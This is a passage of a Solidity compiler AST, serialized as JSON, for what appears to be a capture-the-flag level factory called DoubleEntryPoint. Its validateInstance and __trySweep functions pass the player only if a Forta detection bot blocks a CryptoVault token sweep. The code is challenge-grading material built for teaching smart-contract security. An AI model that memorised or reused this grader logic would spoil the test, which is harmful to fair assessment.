lity":"internal"}],"src":"240:9:72"},"scope":52080,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":52031,"nodeType":"FunctionDefinition","src":"1006:708:72","nodes":[],"body":{"id":52030,"nodeType":"Block","src":"1107:607:72","nodes":[],"statements":[{"assignments":[51958],"declarations":[{"constant":false,"id":51958,"mutability":"mutable","name":"instance","nameLocation":"1134:8:72","nodeType":"VariableDeclaration","scope":52030,"src":"1117:25:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"},"typeName":{"id":51957,"nodeType":"UserDefinedTypeName","pathNode":{"id":51956,"name":"DoubleEntryPoint","nameLocations":["1117:16:72"],"nodeType":"IdentifierPath","referencedDeclaration":51850,"src":"1117:16:72"},"referencedDeclaration":51850,"src":"1117:16:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"visibility":"internal"}],"id":51962,"initialValue":{"arguments":[{"id":51960,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51948,"src":"1162:9:72","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":51959,"name":"DoubleEntryPoint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51850,"src":"1145:16:72","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DoubleEntryPoint_$51850_$","typeString":"type(contract DoubleEntryPoint)"}},"id":51961,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1145:27:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"nodeType":"VariableDeclarationStatement","src":"1117:55:72"},{"assignments":[51965],"declarations":[{"constant":false,"id":51965,"mutability":"mutable","name":"forta","nameLocation":"1188:5:72","nodeType":"VariableDeclaration","scope":52030,"src":"1182:11:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"},"typeName":{"id":51964,"nodeType":"UserDefinedTypeName","pathNode":{"id":51963,"name":"Forta","nameLocations":["1182:5:72"],"nodeType":"IdentifierPath","referencedDeclaration":51577,"src":"1182:5:72"},"referencedDeclaration":51577,"src":"1182:5:72","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"visibility":"internal"}],"id":51969,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":51966,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51958,"src":"1196:8:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"id":51967,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1205:5:72","memberName":"forta","nodeType":"MemberAccess","referencedDeclaration":51737,"src":"1196:14:72","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_contract$_Forta_$51577_$","typeString":"function () view external returns (contract Forta)"}},"id":51968,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1196:16:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"nodeType":"VariableDeclarationStatement","src":"1182:30:72"},{"assignments":[51971],"declarations":[{"constant":false,"id":51971,"mutability":"mutable","name":"usersDetectionBot","nameLocation":"1292:17:72","nodeType":"VariableDeclaration","scope":52030,"src":"1284:25:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51970,"name":"address","nodeType":"ElementaryTypeName","src":"1284:7:72","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51979,"initialValue":{"arguments":[{"arguments":[{"id":51976,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51950,"src":"1345:7:72","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51974,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51965,"src":"1320:5:72","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51975,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1326:18:72","memberName":"usersDetectionBots","nodeType":"MemberAccess","referencedDeclaration":51496,"src":"1320:24:72","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_contract$_IDetectionBot_$51471_$","typeString":"function (address) view external returns (contract IDetectionBot)"}},"id":51977,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1320:33:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51973,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1312:7:72","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51972,"name":"address","nodeType":"ElementaryTypeName","src":"1312:7:72","typeDescriptions":{}}},"id":51978,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1312:42:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"1284:70:72"},{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51985,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":51980,"name":"usersDetectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51971,"src":"1368:17:72","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51983,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1397:1:72","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51982,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1389:7:72","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51981,"name":"address","nodeType":"ElementaryTypeName","src":"1389:7:72","typeDescriptions":{}}},"id":51984,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1389:10:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1368:31:72","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51988,"nodeType":"IfStatement","src":"1364:49:72","trueBody":{"expression":{"hexValue":"66616c7365","id":51986,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1408:5:72","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":51955,"id":51987,"nodeType":"Return","src":"1401:12:72"}},{"assignments":[51990],"declarations":[{"constant":false,"id":51990,"mutability":"mutable","name":"vault","nameLocation":"1432:5:72","nodeType":"VariableDeclaration","scope":52030,"src":"1424:13:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51989,"name":"address","nodeType":"ElementaryTypeName","src":"1424:7:72","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51994,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":51991,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51958,"src":"1440:8:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"id":51992,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1449:11:72","memberName":"cryptoVault","nodeType":"MemberAccess","referencedDeclaration":51730,"src":"1440:20:72","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":51993,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1440:22:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"1424:38:72"},{"assignments":[51997],"declarations":[{"constant":false,"id":51997,"mutability":"mutable","name":"cryptoVault","nameLocation":"1484:11:72","nodeType":"VariableDeclaration","scope":52030,"src":"1472:23:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"},"typeName":{"id":51996,"nodeType":"UserDefinedTypeName","pathNode":{"id":51995,"name":"CryptoVault","nameLocations":["1472:11:72"],"nodeType":"IdentifierPath","referencedDeclaration":51645,"src":"1472:11:72"},"referencedDeclaration":51645,"src":"1472:11:72","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}},"visibility":"internal"}],"id":52001,"initialValue":{"arguments":[{"id":51999,"name":"vault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51990,"src":"1510:5:72","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51998,"name":"CryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51645,"src":"1498:11:72","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_CryptoVault_$51645_$","typeString":"type(contract CryptoVault)"}},"id":52000,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1498:18:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}},"nodeType":"VariableDeclarationStatement","src":"1472:44:72"},{"assignments":[52003,52005],"declarations":[{"constant":false,"id":52003,"mutability":"mutable","name":"ok","nameLocation":"1533:2:72","nodeType":"VariableDeclaration","scope":52030,"src":"1528:7:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52002,"name":"bool","nodeType":"ElementaryTypeName","src":"1528:4:72","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":52005,"mutability":"mutable","name":"data","nameLocation":"1550:4:72","nodeType":"VariableDeclaration","scope":52030,"src":"1537:17:72","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":52004,"name":"bytes","nodeType":"ElementaryTypeName","src":"1537:5:72","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":52011,"initialValue":{"arguments":[{"id":52008,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51997,"src":"1574:11:72","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}},{"id":52009,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51958,"src":"1587:8:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"},{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}],"expression":{"id":52006,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1558:4:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPointFactory_$52080","typeString":"contract DoubleEntryPointFactory"}},"id":52007,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1563:10:72","memberName":"__trySweep","nodeType":"MemberAccess","referencedDeclaration":52079,"src":"1558:15:72","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_CryptoVault_$51645_$_t_contract$_DoubleEntryPoint_$51850_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (contract CryptoVault,contract DoubleEntryPoint) external returns (bool,bytes memory)"}},"id":52010,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1558:38:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"1527:69:72"},{"expression":{"arguments":[{"id":52014,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"1615:3:72","subExpression":{"id":52013,"name":"ok","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52003,"src":"1616:2:72","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5377656570207375636365646564","id":52015,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1620:16:72","typeDescriptions":{"typeIdentifier":"t_stringliteral_2a1d40bcccc39ea0e93ebb8d48ec037755b7fd27569abfe352113e7cc611fe68","typeString":"literal_string \"Sweep succeded\""},"value":"Sweep succeded"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_2a1d40bcccc39ea0e93ebb8d48ec037755b7fd27569abfe352113e7cc611fe68","typeString":"literal_string \"Sweep succeded\""}],"id":52012,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1607:7:72","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":52016,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1607:30:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52017,"nodeType":"ExpressionStatement","src":"1607:30:72"},{"assignments":[52019],"declarations":[{"constant":false,"id":52019,"mutability":"mutable","name":"swept","nameLocation":"1653:5:72","nodeType":"VariableDeclaration","scope":52030,"src":"1648:10:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52018,"name":"bool","nodeType":"ElementaryTypeName","src":"1648:4:72","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":52027,"initialValue":{"arguments":[{"id":52022,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52005,"src":"1672:4:72","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":52024,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1679:4:72","typeDescriptions":{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"},"typeName":{"id":52023,"name":"bool","nodeType":"ElementaryTypeName","src":"1679:4:72","typeDescriptions":{}}}],"id":52025,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"1678:6:72","typeDescriptions":{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"}],"expression":{"id":52020,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1661:3:72","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":52021,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1665:6:72","memberName":"decode","nodeType":"MemberAccess","src":"1661:10:72","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":52026,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1661:24:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"VariableDeclarationStatement","src":"1648:37:72"},{"expression":{"id":52028,"name":"swept","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52019,"src":"1702:5:72","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51955,"id":52029,"nodeType":"Return","src":"1695:12:72"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"1015:16:72","overrides":{"id":51952,"nodeType":"OverrideSpecifier","overrides":[],"src":"1083:8:72"},"parameters":{"id":51951,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51948,"mutability":"mutable","name":"_instance","nameLocation":"1048:9:72","nodeType":"VariableDeclaration","scope":52031,"src":"1032:25:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":51947,"name":"address","nodeType":"ElementaryTypeName","src":"1032:15:72","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":51950,"mutability":"mutable","name":"_player","nameLocation":"1067:7:72","nodeType":"VariableDeclaration","scope":52031,"src":"1059:15:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51949,"name":"address","nodeType":"ElementaryTypeName","src":"1059:7:72","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1031:44:72"},"returnParameters":{"id":51955,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51954,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52031,"src":"1101:4:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51953,"name":"bool","nodeType":"ElementaryTypeName","src":"1101:4:72","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1100:6:72"},"scope":52080,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52079,"nodeType":"FunctionDefinition","src":"1720:350:72","nodes":[],"body":{"id":52078,"nodeType":"Block","src":"1830:240:72","nodes":[],"statements":[{"clauses":[{"block":{"id":52059,"nodeType":"Block","src":"1901:57:72","statements":[{"expression":{"components":[{"hexValue":"74727565","id":52052,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1923:4:72","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},{"arguments":[{"hexValue":"66616c7365","id":52055,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1940:5:72","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":52053,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1929:3:72","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":52054,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1933:6:72","memberName":"encode","nodeType":"MemberAccess","src":"1929:10:72","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":52056,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1929:17:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"id":52057,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"1922:25:72","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"functionReturnParameters":52043,"id":52058,"nodeType":"Return","src":"1915:32:72"}]},"errorName":"","id":52060,"nodeType":"TryCatchClause","src":"1901:57:72"},{"block":{"id":52075,"nodeType":"Block","src":"1965:99:72","statements":[{"expression":{"components":[{"hexValue":"66616c7365","id":52061,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1987:5:72","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52071,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":52066,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52037,"src":"2024:8:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"id":52067,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2033:11:72","memberName":"cryptoVault","nodeType":"MemberAccess","referencedDeclaration":51730,"src":"2024:20:72","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":52068,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2024:22:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":52064,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52037,"src":"2005:8:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"id":52065,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2014:9:72","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47374,"src":"2005:18:72","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":52069,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2005:42:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":52070,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2050:1:72","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"2005:46:72","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":52062,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1994:3:72","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":52063,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1998:6:72","memberName":"encode","nodeType":"MemberAccess","src":"1994:10:72","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":52072,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1994:58:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"id":52073,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1986:67:72","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"functionReturnParameters":52043,"id":52074,"nodeType":"Return","src":"1979:74:72"}]},"errorName":"","id":52076,"nodeType":"TryCatchClause","src":"1959:105:72"}],"externalCall":{"arguments":[{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":52047,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52037,"src":"1874:8:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"id":52048,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1883:13:72","memberName":"delegatedFrom","nodeType":"MemberAccess","referencedDeclaration":51734,"src":"1874:22:72","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":52049,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1874:24:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":52046,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1867:6:72","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":52050,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1867:32:72","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}],"expression":{"id":52044,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52034,"src":"1844:11:72","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}},"id":52045,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1856:10:72","memberName":"sweepToken","nodeType":"MemberAccess","referencedDeclaration":51644,"src":"1844:22:72","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_IERC20_$47939_$returns$__$","typeString":"function (contract IERC20) external"}},"id":52051,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1844:56:72","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52077,"nodeType":"TryStatement","src":"1840:224:72"}]},"functionSelector":"fae99eae","implemented":true,"kind":"function","modifiers":[],"name":"__trySweep","nameLocation":"1729:10:72","parameters":{"id":52038,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52034,"mutability":"mutable","name":"cryptoVault","nameLocation":"1752:11:72","nodeType":"VariableDeclaration","scope":52079,"src":"1740:23:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"},"typeName":{"id":52033,"nodeType":"UserDefinedTypeName","pathNode":{"id":52032,"name":"CryptoVault","nameLocations":["1740:11:72"],"nodeType":"IdentifierPath","referencedDeclaration":51645,"src":"1740:11:72"},"referencedDeclaration":51645,"src":"1740:11:72","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}},"visibility":"internal"},{"constant":false,"id":52037,"mutability":"mutable","name":"instance","nameLocation":"1782:8:72","nodeType":"VariableDeclaration","scope":52079,"src":"1765:25:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract 